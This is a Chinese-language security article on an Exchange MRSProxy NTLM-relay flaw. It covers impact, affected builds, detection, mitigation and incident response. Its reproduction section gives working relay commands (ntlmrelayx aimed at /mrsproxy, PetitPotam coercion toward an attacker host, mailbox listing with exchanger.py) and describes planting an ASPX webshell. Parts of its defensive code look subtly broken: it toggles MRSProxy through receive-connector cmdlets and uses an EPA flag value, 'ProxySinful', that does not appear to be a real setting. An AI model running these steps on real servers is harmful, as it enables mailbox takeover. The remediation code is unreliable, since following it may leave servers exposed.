2026年8月微软补丁日CVE-2026-62911正式公开。这是DEVCORE研究员Orange Tsai在Pwn2Own柏林2026大赛拿下20万美元奖金的漏洞链核心是Microsoft Exchange的MRSProxy服务存在认证缺陷攻击者通过NTLM中继就能绕过身份校验直接接管整台服务器上的所有邮箱进阶还能拿到系统权限横向内网。截止8月底Shadowserver公网扫描数据显示全球还有21899台暴露的Exchange服务器未安装修复补丁国内企业本地部署环境占比不低。PoC代码已经在各大安全社区扩散攻击门槛几乎降到了零。很多运维拿到漏洞通知就急着找补丁、查版本很少有人想透为什么一个代理服务的小缺陷破坏力这么大为什么微软标注的“需用户交互”实际可以做到无感知攻击没买ESU扩展支持的老版本Exchange除了硬扛还有没有办法这篇文章从第一性原理拆解漏洞本质站在攻击者视角做对抗式审查给你可直接落地的检测脚本、复现路径和完整防护清单。一、漏洞本质MRSProxy为什么会成为突破口MRSProxy全称Mailbox Replication Service Proxy邮箱复制服务代理是Exchange里专门处理跨林、跨租户邮箱迁移的组件。它运行在IIS的HTTP.sys上对外暴露/mrsproxy端点默认启用。从设计逻辑看MRSProxy要处理机器级别的迁移操作认证体系直接对接Windows NTML协议允许机器账号调用接口。漏洞的核心问题只有一个MRSProxy端点默认没有强制启用认证扩展保护Extended Protection for AuthenticationEPA。这是典型的CWE-294捕获-重放缺陷。NTLM协议本身不支持服务器端对客户端的身份通道绑定攻击者只要截获到合法的NTLM认证凭据就可以原样中继到目标服务冒充合法身份完成认证。EPA就是专门用来防御这类攻击的机制它会把客户端的通道绑定信息嵌入认证流程中继的凭据因为通道不匹配会直接被拒绝。Exchange的大部分Web接口早就默认开启了EPA但唯独MRSProxy漏了。Orange Tsai找到的就是这个缺口。完整攻击链路1. 调用PetitPotam触发认证2. 主动发起NTLM认证请求3. 原样中继NTLM凭据4. 无EPA校验 认证直接通过5a. 读写任意用户邮箱5b. 调用WCF接口写入ASPX脚本攻击者Exchange服务器 机器账号攻击者搭建的中继服务器Exchange MRSProxy端点Exchange后端服务数据泄露/伪造内部邮件钓鱼获得SYSTEM权限 内网横向渗透攻击者完整的攻击链分四步走触发认证。攻击者通过PetitPotam工具调用Exchange服务器的EFSRPC接口强制Exchange的机器账号向攻击者指定的服务器发起NTLM认证请求。整个过程不需要任何用户交互也不需要提前拿到任何账号权限只要网络可达就能执行。捕获中继。攻击者用ntlmrelayx搭建中继服务器接住Exchange机器账号发过来的NTLM认证请求不破解哈希直接原样转发给目标Exchange的MRSProxy端点。绕过认证。MRSProxy没开EPA不会校验通道绑定直接接受中继过来的机器账号凭据认证通过。攻击者直接拿到Exchange管理员级权限。扩大战果。基础操作是调用Exchange管理接口读取任意用户邮件、发送伪造邮件、下载全部附件。进阶操作是通过WCF接口往IIS目录写ASPX脚本拿到WebShell最终获取服务器SYSTEM权限再横向渗透整个内网。对抗式审查官方风险评级严重低估微软官方漏洞说明里写了“成功利用需要攻击者拥有基础权限且用户需执行交互操作”这个描述严重脱离实际攻击场景。站在攻击者视角PetitPotam触发机器账号认证完全不需要用户交互只要网络可达就能打。基础权限的门槛也不存在——机器账号的认证是服务器主动发出来的攻击者不需要提前持有任何账号权限。换句话说只要你的Exchange服务器公网暴露了443端口同时RPC端口135、445等能被访问攻击者就可以直接走完完整攻击链。就算RPC端口没公网开放内网只要有一台机器被攻陷攻击者也能从内网发起中继打穿整个Exchange。这就是这个漏洞最危险的地方它不是需要钓鱼配合的客户端漏洞是可以直接打服务端的远程漏洞攻击成本极低收益极高。二、影响范围别只看CU版本构建号才是唯一标准很多运维查漏洞的时候只看自己的Exchange是CU14还是CU15觉得装了最新CU就没事。这是错的。微软给每个CU都会发累积更新补丁同一个CU下面有不同的构建号只有构建号等于或高于修复版本才是真的补了漏洞。受影响的全部是本地部署的Exchange ServerExchange Online云邮箱不受这个漏洞影响。Exchange版本对应CU版本修复构建号对应补丁KB备注Exchange Server 2016CU2315.1.2507.72KB5121576需ESU扩展安全更新授权Exchange Server 2019CU1415.2.1544.44KB5121575需ESU扩展安全更新授权Exchange Server 2019CU1515.2.1748.49KB5121574需ESU扩展安全更新授权Exchange Server Subscription EditionRTM15.2.2562.46KB5121573订阅版直接更新在Exchange Management Shell里执行一行命令就能查到真实构建号Get-ExchangeServer | Select-Object Name, AdminDisplayVersion输出结果里的数字就是构建号和上表的修复构建号比对低于即存在漏洞。对抗式审查没有ESU的企业才是重灾区这里有个绝大多数企业都会踩的坑Exchange 2016和2019的主流支持已经结束微软不再给普通用户发放安全补丁。只有购买了ESUExtended Security Updates扩展安全更新授权的客户才能下载到对应的KB补丁。没买ESU的企业就算明确知道自己有漏洞也拿不到官方修复包。这部分环境占了目前公网暴露未修补服务器的绝大多数也是攻击者重点扫描的目标。不要尝试把SE版的补丁强行打去2019版本内核不兼容强行安装会直接导致Exchange服务崩溃。没有ESU的环境只能靠临时缓解措施硬扛没有根治手段。三、漏洞复现路径站在攻击者视角走完全流程这部分拆解完整复现步骤方便理解攻击逻辑也可以在隔离靶场做验证。注意禁止在公网生产环境测试所有复现必须在隔离内网靶场进行。复现环境准备靶机Windows Server 2019 Exchange 2019 CU15未打KB5121574已加入域MRSProxy默认开启攻击机Kali Linux安装impacket工具集、ntlmrelayx、PetitPotam网络条件攻击机能访问靶机的445端口和443端口步骤1搭建NTLM中继服务器攻击机上执行开启中继服务目标指向Exchange的MRSProxy端点ntlmrelayx.py -t https://exchange-ip/mrsproxy -smb2support --no-http-server这里要明确中继目标支持HTTPS协议ntlmrelayx原生支持HTTPS中继所以Exchange开了SSL加密也没用挡不住中继攻击。步骤2触发Exchange机器账号认证用PetitPotam工具指定攻击机IP作为中继服务器强制Exchange机器账号主动发起认证python3 PetitPotam.py 攻击机IP Exchange-IP执行成功后Exchange服务器会立刻向攻击机445端口发起SMB连接携带机器账号的NTLM凭据。ntlmrelayx会自动捕获这个凭据然后转发给MRSProxy端点。步骤3验证认证绕过结果中继成功后ntlmrelayx会返回认证通过的信息攻击者可以通过Exchange的EWS接口用机器账号权限访问所有邮箱。比如用impacket的exchanger.py工具直接列出所有邮箱python3 exchanger.py -u DOMAIN\ExchangeServer$ -H ntlm-hash exchange-ip list到这一步就已经实现邮箱劫持所有用户的邮件都可以任意读取、导出。步骤4进阶写入WebShell拿系统权限拿到Exchange高权限后攻击者可以调用MRS的WCF接口往IIS的wwwroot目录写入ASPX木马。Exchange应用池权限很高写进去的WebShell直接就是SYSTEM权限。公开PoC已经封装了这一步的工具从触发认证到拿到Shell整个过程不超过3分钟。攻击技术架构graph TDsubgraph 攻击者侧Attacker[攻击者主机]Relay[NTLM中继服务器]endsubgraph 企业网络边界FW[防火墙/反向代理]endsubgraph Exchange服务器IIS[IIS Web服务]MRS[MRSProxy 端点(HTTP.sys)]EPA[认证扩展保护 EPA漏洞点: 默认未启用]Backend[Exchange后端服务邮箱/AD接口]endsubgraph 域控DC[AD域控处理NTLM认证]endAttacker --|调用RPC触发认证| Exchange服务器 Exchange服务器 --|机器账号NTLM请求| Relay Relay --|中继认证流量| FW FW --|透传请求| MRS MRS --|无EPA校验 直接放行| Backend Backend --|提交认证请求| DC DC --|返回认证通过| Backend对抗式审查常规防护几乎全部失效很多人有两个常见误区这里直接戳破。第一个误区Exchange前面加了反向代理就能防这个漏洞。要看反向代理的配置。如果反向代理只是做端口转发透传原始NTLM认证中继攻击照样能打穿。只有反向代理做了身份终结自己先完成用户认证再用服务账号访问后端Exchange才能挡住NTLM中继。第二个误区开了杀毒软件、EDR就能检测到攻击。这个漏洞走的是完全合法的认证流程没有恶意代码也没有畸形的漏洞利用流量杀毒软件和EDR根本检测不出来。传统边界防火墙也没用所有流量都走正常的HTTPS和SMB端口协议完全合法。这就是认证型漏洞的可怕之处它利用的是协议本身的设计缺陷全程没有非法操作所有行为看起来都是正常的。四、实战排查一键检测脚本入侵痕迹定位光知道原理没用企业首先要做的是快速排查自身风险以及判断有没有已经被入侵。下面是完整的PowerShell检测脚本直接在Exchange服务器的Exchange Management Shell里运行就能一次性查出版本风险、MRSProxy状态、EPA配置、补丁安装状态最后给出风险等级。Exchange CVE-2026-62911 一键检测脚本# .DESCRIPTION CVE-2026-62911 一键检测脚本覆盖版本校验、MRSProxy状态、EPA配置、补丁检测 # # 修复版本基准表 $fixVersions { 15.1.2507 [Version]15.1.2507.72 # Exchange 2016 CU23 15.2.1544 [Version]15.2.1544.44 # Exchange 2019 CU14 15.2.1748 [Version]15.2.1748.49 # Exchange 2019 CU15 15.2.2562 [Version]15.2.2562.46 # Exchange SE } # 对应修复补丁列表 $targetKBs (KB5121573, KB5121574, KB5121575, KB5121576) Write-Host CVE-2026-62911 漏洞检测 -ForegroundColor Cyan Write-Host # 1. Exchange版本检测 try { $servers Get-ExchangeServer -ErrorAction Stop Write-Host [1] Exchange服务器版本检测 -ForegroundColor Yellow $versionRisk $false foreach ($s in $servers) { $ver [Version]$s.AdminDisplayVersion $buildKey $($ver.Major).$($ver.Minor).$($ver.Build) Write-Host 服务器: $($s.Name) Write-Host 构建号: $ver if ($fixVersions.ContainsKey($buildKey)) { if ($ver -lt $fixVersions[$buildKey]) { Write-Host 风险状态: 存在漏洞低于修复版本 -ForegroundColor Red $versionRisk $true } else { Write-Host 风险状态: 版本已修复 -ForegroundColor Green } } else { Write-Host 风险状态: 非受影响版本或版本未知 -ForegroundColor Gray } } } catch { Write-Host [1] 获取Exchange版本失败请确认在Exchange Management Shell中运行 -ForegroundColor Red } Write-Host # 2. MRSProxy启用状态检测 try { $connectors Get-ReceiveConnector -ErrorAction Stop Write-Host [2] MRSProxy服务状态检测 -ForegroundColor Yellow $mrsEnabled $false foreach ($conn in $connectors) { if ($conn.MRSProxyEnabled) { $mrsEnabled $true Write-Host 连接器 $($conn.Identity): 已启用MRSProxy -ForegroundColor Red } } if (-not $mrsEnabled) { Write-Host 所有连接器均未启用MRSProxy -ForegroundColor Green } } catch { Write-Host [2] 获取接收连接器配置失败 -ForegroundColor Red } Write-Host # 3. MRSProxy EPA配置检测 try { Write-Host [3] MRSProxy认证扩展保护(EPA)检测 -ForegroundColor Yellow $sitePath IIS:\Sites\Default Web Site\mrsproxy if (Test-Path $sitePath) { $tokenMode Get-WebConfigurationProperty -Filter system.webServer/security/authentication/windowsAuthentication -PSPath $sitePath -Name extendedProtection.tokenChecking Write-Host EPA令牌校验模式: $($tokenMode.Value) switch ($tokenMode.Value) { Required { Write-Host 防护状态: 强制启用可防御NTLM中继 -ForegroundColor Green } Allow { Write-Host 防护状态: 仅允许模式无法完全防御中继 -ForegroundColor Yellow } default { Write-Host 防护状态: 未启用存在中继风险 -ForegroundColor Red } } } else { Write-Host 未找到MRSProxy站点路径 -ForegroundColor Gray } } catch { Write-Host [3] 读取EPA配置失败请确认IIS管理模块已安装 -ForegroundColor Red } Write-Host # 4. 补丁安装状态检测 try { Write-Host [4] 修复补丁安装状态检测 -ForegroundColor Yellow $installed Get-HotFix | Select-Object -ExpandProperty HotFixID $foundKB $false foreach ($kb in $targetKBs) { if ($installed -contains $kb) { Write-Host $kb 已安装 -ForegroundColor Green $foundKB $true } } if (-not $foundKB) { Write-Host 未检测到对应修复补丁 -ForegroundColor Red } } catch { Write-Host [4] 读取系统补丁列表失败 -ForegroundColor Red } Write-Host Write-Host 检测完成 -ForegroundColor Cyan Write-Host 结论: 若版本存在漏洞 MRSProxy启用 EPA未启用属于高风险请立即处置脚本直接复制就能运行不需要额外安装组件Exchange服务器默认自带所有依赖命令。入侵痕迹排查如果你的服务器还没打补丁不要急着安装。先排查有没有已经被入侵攻击者打完补丁再清理痕迹你就什么都查不到了。从四个维度依次排查IIS日志排查IIS日志默认路径C:\inetpub\logs\LogFiles\W3SVC1\重点查两个特征路径包含/mrsproxy/的POST请求以及来源IP非常见管理IP的异常接口调用。用PowerShell快速筛查Get-ChildItem C:\inetpub\logs\LogFiles\W3SVC1\ -Filter *.log | Select-String -Pattern /mrsproxy/ | Select-Object -First 50 | Format-Table LineNumber, Line -AutoSizeExchange应用日志打开事件查看器定位到应用程序和服务日志 Microsoft Exchange查找异常的邮箱复制操作、批量邮箱访问记录。非工作时间出现的大规模邮箱导出操作大概率是被攻击的特征。文件系统排查检查Exchange的IIS站点目录默认路径C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\查看有没有最近新增的.aspx、.ashx、.asp文件重点关注漏洞公开日期之后修改的陌生文件。同时检查C:\Windows\Temp和C:\Users\Public目录有没有可疑的脚本、可执行程序。系统安全日志筛选Windows安全日志的事件ID 4624查找Exchange机器账号的异常网络登录记录登录类型3如果来源IP是陌生地址大概率是中继攻击留下的痕迹。对抗式审查没查到痕迹不代表没被攻击不要觉得日志里没查到异常就一定安全。老练的攻击者得手后会立刻清理日志或者用跳板IP发起攻击溯源根本查不到真实来源。还有更隐蔽的场景攻击者不写WebShell只把所有邮件批量下载走。这种攻击全程只有读操作不留下任何文件痕迹只有开启邮件审计才能发现。如果你的Exchange没开邮件审计功能基本等于被偷了数据都不知道。所以排查不能只靠日志要结合权限基线、文件完整性检查一起做。五、防护加固方案从紧急到长期每条都做对抗验证防护方案分三个优先级P0是根治手段P1是临时缓解P2是长期加固。每一条都会站在攻击者视角说清楚这个措施能不能防有没有绕过的可能。P0安装官方安全补丁唯一根治手段补丁是解决这个漏洞的根本办法没有任何缓解措施的可靠性能超过补丁。Exchange SE订阅版直接通过Windows更新安装KB5121573也可以去微软更新目录下载手动安装包。Exchange 2019 CU14/CU15必须持有有效的ESU授权才能下载KB5121574/KB5121575。Exchange 2016 CU23同样需要ESU授权安装KB5121576。安装注意事项所有Exchange角色服务器都要打包括边缘传输、客户端访问服务器不要只补前端。安装完成必须重启Exchange服务建议直接重启服务器。装完用上面的检测脚本再跑一遍确认构建号已经升到修复版本以上。打补丁前先做入侵排查不要给已经植入后门的服务器打补丁等于帮攻击者掩盖痕迹。对抗式审查打了补丁是不是就一劳永逸不是。补丁只能修复CVE-2026-62911这一个漏洞MRSProxy还有没有其他未公开的缺陷没人能保证。而且NTLM中继是系统性问题不是这一个漏洞的事就算补了MRSProxyExchange上还有其他接口可能被中继攻击。补丁是必选项但不是唯一选项。打完补丁也要做基线加固不能高枕无忧。P1临时缓解措施无ESU/不能立刻打补丁的环境很多企业的Exchange 2016/2019没买ESU拿不到补丁只能靠缓解措施。下面几条按优先级从高到低排列能做多少做多少。1. 直接关闭MRSProxy服务优先级最高如果企业没有跨林邮箱迁移、跨租户迁移的需求直接把MRSProxy关了漏洞直接失去攻击入口。执行命令Get-ReceiveConnector | Set-ReceiveConnector -MRSProxyEnabled $false执行完重启IIS生效iisreset /restart关闭MRSProxy对普通用户收发邮件完全没有影响只是不能做跨林迁移。绝大多数企业的Exchange都用不到这个功能关了百利无一害。2. 强制启用MRSProxy的认证扩展保护EPA如果业务必须使用MRSProxy不能关闭那就一定要把EPA设置为强制模式。PowerShell配置命令Set-WebConfigurationProperty -Filter system.webServer/security/authentication/windowsAuthentication -PSPath IIS:\Sites\Default Web Site\mrsproxy -Name extendedProtection.tokenChecking -Value Required Set-WebConfigurationProperty -Filter system.webServer/security/authentication/windowsAuthentication -PSPath IIS:\Sites\Default Web Site\mrsproxy -Name extendedProtection.flags -Value Proxy, ProxySinful iisreset /restartEPA设为Required后NTLM中继的流量会因为通道绑定不匹配被直接拒绝攻击链直接断裂。3. 防火墙层面封堵MRSProxy的公网访问MRSProxy接口只应该给内部做迁移的服务器使用完全没必要暴露到公网。在防火墙或者反向代理上把/mrsproxy/*路径的公网访问全部禁用只允许内网可信IP段访问。如果是公网必须开放的场景一定要加严格的IP白名单只允许指定的迁移源IP访问不能全开。4. 域控层面封堵PetitPotam攻击路径PetitPotam是触发机器账号认证的常用工具在域控上禁用EFSRPC远程访问可以挡住大部分无交互触发场景。修改注册表禁用EFSRPCreg add HKLM\SYSTEM\CurrentControlSet\Services\EFS\Parameters /v RpcProtocolEnabled /t REG_DWORD /d 0 /f执行完重启服务器生效。防护体系架构数据层防护敏感邮件数据加密异常邮箱访问告警定期权限基线巡检应用层防护关闭非必要MRSProxy服务Exchange操作行为审计邮件网关流量检测主机层防护安装对应安全补丁EPA设置为强制模式禁用高危RPC接口网络层防护公网封堵MRSProxy路径MRSProxy访问IP白名单内网NTLM流量管控对抗式审查每条缓解措施都有它的局限性不要觉得做了其中一条就万事大吉。关了MRSProxy只能防这个漏洞挡不住其他接口的NTLM中继攻击。开了EPA也不是绝对安全如果攻击者控制了中间的反向代理拿到TLS终止权限EPA也能被绕过只是这种场景门槛很高。堵了公网挡不住内网攻击只要内网有一台机器被攻陷攻击者照样可以从内网发起中继。封了PetitPotam还有PrinterBug、DFSCoerce等一堆工具可以触发机器账号认证堵一个接口解决不了根本问题。缓解措施只能提升攻击成本做不到百分之百防御。没有ESU的企业要尽快规划版本升级或者迁移不能一直靠临时措施硬扛。P2中长期加固方案临时措施只能救急长期来看本地Exchange的安全问题会越来越多微软以后只会逐步停止本地版本的支持新漏洞只会越来越多。三个中长期的加固方向评估迁移至Exchange Online这是最彻底的方案把邮箱迁到微软云所有底层安全运维都交给微软企业不用再操心单个漏洞的修复。如果因为合规要求、数据主权不能迁公有云再考虑下面两个方案。部署邮件安全网关零信任访问在Exchange前面加一层专业的邮件安全网关做身份终结、流量检测、异常行为分析。所有公网访问都先走网关不直接暴露Exchange服务器。同时用零信任思路对Exchange的管理接口、特殊功能接口做细粒度权限控制不默认信任任何内网IP每次访问都做身份校验和权限验证。建立Exchange安全基线巡检机制每季度做一次完整的安全基线检查覆盖补丁状态、接口启用情况、认证配置、权限审计。不要等漏洞爆出来了才临时抱佛脚。重点关注微软的ESU更新动态提前规划版本升级不要等到主流支持结束了才着急。六、应急响应真被入侵了怎么办如果排查下来确认已经被攻击按下面的流程处理不要乱。隔离服务器保留现场第一时间在防火墙上断掉Exchange服务器的公网访问但是不要关机、不要重启保留内存和日志现场方便后续取证。有条件的话先做内存镜像和磁盘快照再进行后续操作。全面取证排查排查IIS日志、系统日志、Exchange日志确定攻击时间、攻击IP、攻击者执行了哪些操作。全盘扫描查找WebShell、恶意脚本、计划任务、新增服务。重点排查Exchange应用池目录和系统临时目录。检查域控日志确认攻击者有没有用Exchange机器账号做横向移动有没有访问过其他核心服务器特别是域控。清除后门封堵漏洞删除所有发现的WebShell和恶意文件恢复被修改的系统配置。安装对应安全补丁或者启用缓解措施先把漏洞堵上防止攻击者再次进入。重置所有凭据不要只改几个管理员密码。重置Exchange服务器的机器账号密码重置所有域管理员账号密码重置所有Exchange管理员的账号密码如果怀疑域控被攻陷重置KRBTGT账号密码防范黄金票据建议批量修改所有用户的邮箱密码防止攻击者已经拿到用户凭据恢复业务复盘加固确认后门清理干净、漏洞封堵完成后再逐步恢复业务。事后必须做复盘搞清楚攻击是怎么进来的哪个防护环节失效了然后针对性加固。不要补完漏洞就完事下次换个新漏洞照样被打穿。对抗式审查很多企业应急响应的最大误区是只处理Exchange这一台服务器不查内网横向。Exchange服务器的机器账号在域里权限不低攻击者拿到之后可以继续中继到其他服务器甚至域控。如果只清理Exchange的后门不排查其他服务器过不了多久还会被打回来。还有的企业应急完不做日志留存、不做复盘下次出同样的问题还是一样乱。应急响应的核心不是快速恢复业务是搞清楚为什么会出事以后怎么不再出事。七、本地Exchange的安全困境CVE-2026-62911不是第一个Exchange高危漏洞也绝对不会是最后一个。从历史上看Exchange几乎每个季度都会出一两个能直接拿权限的高危漏洞从ProxyLogon到ProxyShell再到现在的MRSProxy缺陷攻击面从OWA转到EWS再转到各种边缘组件攻击者总能找到新的突破口。微软的战略很明确重心往Exchange Online转本地版本的支持力度会越来越弱。Exchange 2016已经停止主流支持2019也快了以后的安全补丁都会绑定ESU价格一年比一年贵。对于企业来说这是个很现实的问题继续用本地Exchange就要承担越来越高的安全风险和ESU成本迁到云上又有合规和数据的顾虑。没有标准答案每个企业要根据自己的实际情况做选择。但有一点是确定的抱着老版本不升级也不做安全加固早晚要出事。这次是邮箱劫持下次可能就是勒索加密。邮件系统是企业的核心数据资产也是内网渗透的绝佳突破口。重视邮件安全不是多装几个杀毒软件就能解决的要从架构、流程、人员全方位做建设。你们公司的Exchange还在跑2016/2019版本吗有没有开通ESU扩展支持欢迎在评论区说说你的处置方案。你还遇到过哪些Exchange相关的攻防场景也可以在评论区分享你的经验。